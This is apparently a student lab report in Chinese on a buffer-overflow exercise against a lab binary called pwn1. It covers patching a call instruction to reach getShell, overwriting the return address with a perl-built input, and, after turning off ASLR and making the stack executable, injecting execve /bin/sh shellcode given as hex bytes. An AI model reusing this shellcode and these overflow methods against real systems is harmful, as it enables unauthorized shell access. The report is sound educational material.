• 20165310 NstSec2019 Week3 Exp1 逆向与Bof基础


    20165310 NstSec2019 Week3 Exp1 逆向与Bof基础

    一、实验内容

    • 实验目标

      本次实践的对象是一个名为pwn1的linux可执行文件。

      该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

      该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    • 实验原理

      • 缓冲区溢出原理

        im

      • 函数调用堆栈步骤

        BCDADA153C11ED7A1F78B94F8C57CB

    • 实验任务

      • 任务一、直接修改程序机器指令,改变程序执行流程
      • 任务二、通过构造输入参数,造成BOF攻击,改变程序执行流
      • 任务三、注入Shellcode并运行攻击
    • 实验基础

      • 基本Linux操作,例如反汇编指令、编辑器指令等,具体指令见实验过程

      • 汇编语言基础

        NOP汇编指令的机器码是“90”
        
        JNE汇编指令的机器码是“75”
        
        JE 汇编指令的机器码是“74”
        
        JMP汇编指令的机器码是“eb”
        
        CMP汇编指令的机器码是“39
        

      • 基本gdb单步调试能力

    二、实验步骤

    任务一、直接修改程序机器指令,改变程序执行流程

    • 将pwn1复制为pwn0作为备份,运行pwn1,发现pwn1的功能是打印输入的内容

      0

    • 使用objdump -d pwn1将pwn1反汇编 ,查看相关函数

      1

    • 排除系统调用,寻找关键函数mainfoogetshell

      2

    • 根据反汇编代码

      • 计算主函数跳转地址,计算方法为:

      call对应的跳转指令为:e8+偏移地址,如图中所示为e8 d7 ff ff ff,原本eip所对应地址为:0x80484ba,最终指令地址为eip+偏移地址,即函数foo的首地址8048491,通过计算器可以验证正确性

      3

      • 函数getshell的首地址为0x804847d,计算偏移地址为0x804847d-0x80484ba,得0xffffffc3 ,由于大小端存储格式,更改指令应该为e8 c3 ff ff ff

      4

      • 除以上方法外,简便的计算方法,foo基地址-0xffffffd7=getshell基地址-所求跳转偏移地址,答案一样
    • 计算出地址后,对程序跳转机器指令进行修改,使其不再跳转到foo ,而是直接跳转至函数getShell

      • 利用万能的vim打开pwn1文件,发现满屏乱码,原因是vim默认显示ASCII码,esc切换到命令模式输入命令:%!xxd将其转换为16进制显示(windows环境推荐winhex)

        5

        6

      • 搜索需要修改的部分,便于修改,搜索命令/+搜索内容,输入i切换到输入模式,将d7 ff ff ff修改为c3 ff ff ff

        7

        8

      • 再次切换至命令模式,利用命令:%!xdd -r,使文件从十六进制转换回ASCII码,国际惯例:wq保存并退出,为了验证我们是否修改正确,再次利用objdump -d pwn1反汇编查看代码,确认修改正确

        9

      • 确认修改地址成功,运行pwn1,验证是否能够跳转至getshell函数,发现成功得到shell

    任务二、通过构造输入参数,造成BOF攻击,改变程序执行流

    • 从备份pwn0复制pwn2进行实验,objdump -d pwn2查看反汇编代码,计算缓冲区大小

    • 根据上图的代码,我们猜测缓冲区大小为0x1c,即28字节大小,加上ebp的四个字节共为32字节,我们运行程序进行输入,分别为36字节、32字节、31字节、28字节、27字节验证自己的想法

    • 输入36字节的输入111111112222222233333333444444445555,gdb调试,i r查看寄存器的值,eip0x35353535正是5555的ASCII值,可见返回地址被5555覆盖,将5555改成getshell地址0x0804847d即可

    • 但是输入参数需为ASCII码,地址需要与填充的字符串一起,利用解释型语法perl构造后输入,具体构造方法如下:

      • 将所需字符串+地址,利用perl重定向至文件perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > BOF1

      • 查看文件cat BOF1xxd BOF1可查看是否重定向成功,成功后利用管道输入参数至pwn2(cat BOF1; cat ) | ./pwn2,成功获得shell

    任务三、注入Shellcode并运行攻击

    • ShellCode:一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode

    • 前期环境准备工作

      • 备份pwn0为pwn3作为实验对象

      • 输入指令apt-get install execstack安装execstack

      • 设置堆栈可执行,否则就算注入成功也无法执行。

        execstack -s pwn3    //设置堆栈可执行
        execstack -q pwn3    //查询文件的堆栈是否可执行
        
      • 关闭地址随机化:现代操作系统地址随机化导致缓冲区溢出困难,下次可以尝试不关闭随机化的缓冲区溢出攻击。

        more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
        'echo "0" > /proc/sys/kernel/randomize_va_space        //关闭随机化
        more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭
        

        (其中“2”为开启,“0”为关闭)

    • 运行pwn3,构造shellcode注入,gdb单步调试,确认返回地址的位置

      • 构造shellcode,有如下三种构造方式,实验指导中所谓的“坑”即方法一,在缓冲区足够大时是适用的,由于本实验缓冲区只有32字节,并不适用,我们选择方法二:RNS溢出模式

        E898BA90A7C183757186D80AA51D98

      • 根据shellcode构造方法进行构造,继续利用perl语句重定向后注入,注入原理如下:

        B27B38667EC550C64B3ECA30284627

      • 参考实验指导的shellcode,假设返回地址1234进行构造:perl -e 'print "A" x 32;print"x04x03x02x01x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode1,再利用(cat input_shellcode;cat) | ./pwn3进行注入

      • 打开第二个terminal,利用gdb进行调试,首先找到对应进程才能进行调试,输入ps -ef | grep pwn3找到对应进程,进程号为6719

      • gdb命令attach+进程号进行单步调试,disassemble+函数名查看对应函数指令对应地址,其中返回值ret是我们关注的重点

      • b+指针设置ret的断点,c为函数继续执行的意思,注意一定要在注入的terminal按下回车,否则会出错,总结中将提到这一错误;利用i r esp查看esp的地址,x/16x+esp地址查看esp中的内容的十六进制,可以清晰看到esp最后为0x01020304正是我们假定实验的数值。

    • 确认返回地址无误后,我们将假定的返回地址地址1234换为shellcode函数的真正地址,即0xffffd2ec+0x4=0xffffdef0 ,重定向为input_shellcode2

    • 注入shellcode,成功获得shell

    遇到问题与感想

    • 问题与解决方法:
      • 问题:在任务三gdb单步调试时,continue时,没有去另一个终端按下回车而是在当前终端按下回车,最终的esp并不在ret,经过查看地址的数据,发现差了四个字节,应该是多了回车导致多执行了一条命令,使esp产生了变化。
      • 解决方法:在注入的终端执行回车
    • 实验感想:
      • 初步理解缓冲区溢出原理与构造方法
      • 实际情况往往比实验复杂许多,还需要学习与研究
      • 对于汇编等基础知识的学习还要加强
    • 什么是漏洞?漏洞有什么危害?
      • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
      • 理论上世界上任何程序、硬件、设备等都存在漏洞
      • 漏洞的危害可大可小,小则个人隐私等遭受破坏,大则全国经济损失、国家信息被泄露等一系列重大后果。
  • 相关阅读:
    排序
    最小栈
    移除链表元素
    回文链表
    maven自动建立目录骨架
    maven的结构和构建命令
    递归
    链表的中间结点
    括号匹配
    软件工程个人作业01
  • 原文地址:https://www.cnblogs.com/atbaoi/p/10539890.html
Copyright © 2020-2023  润新知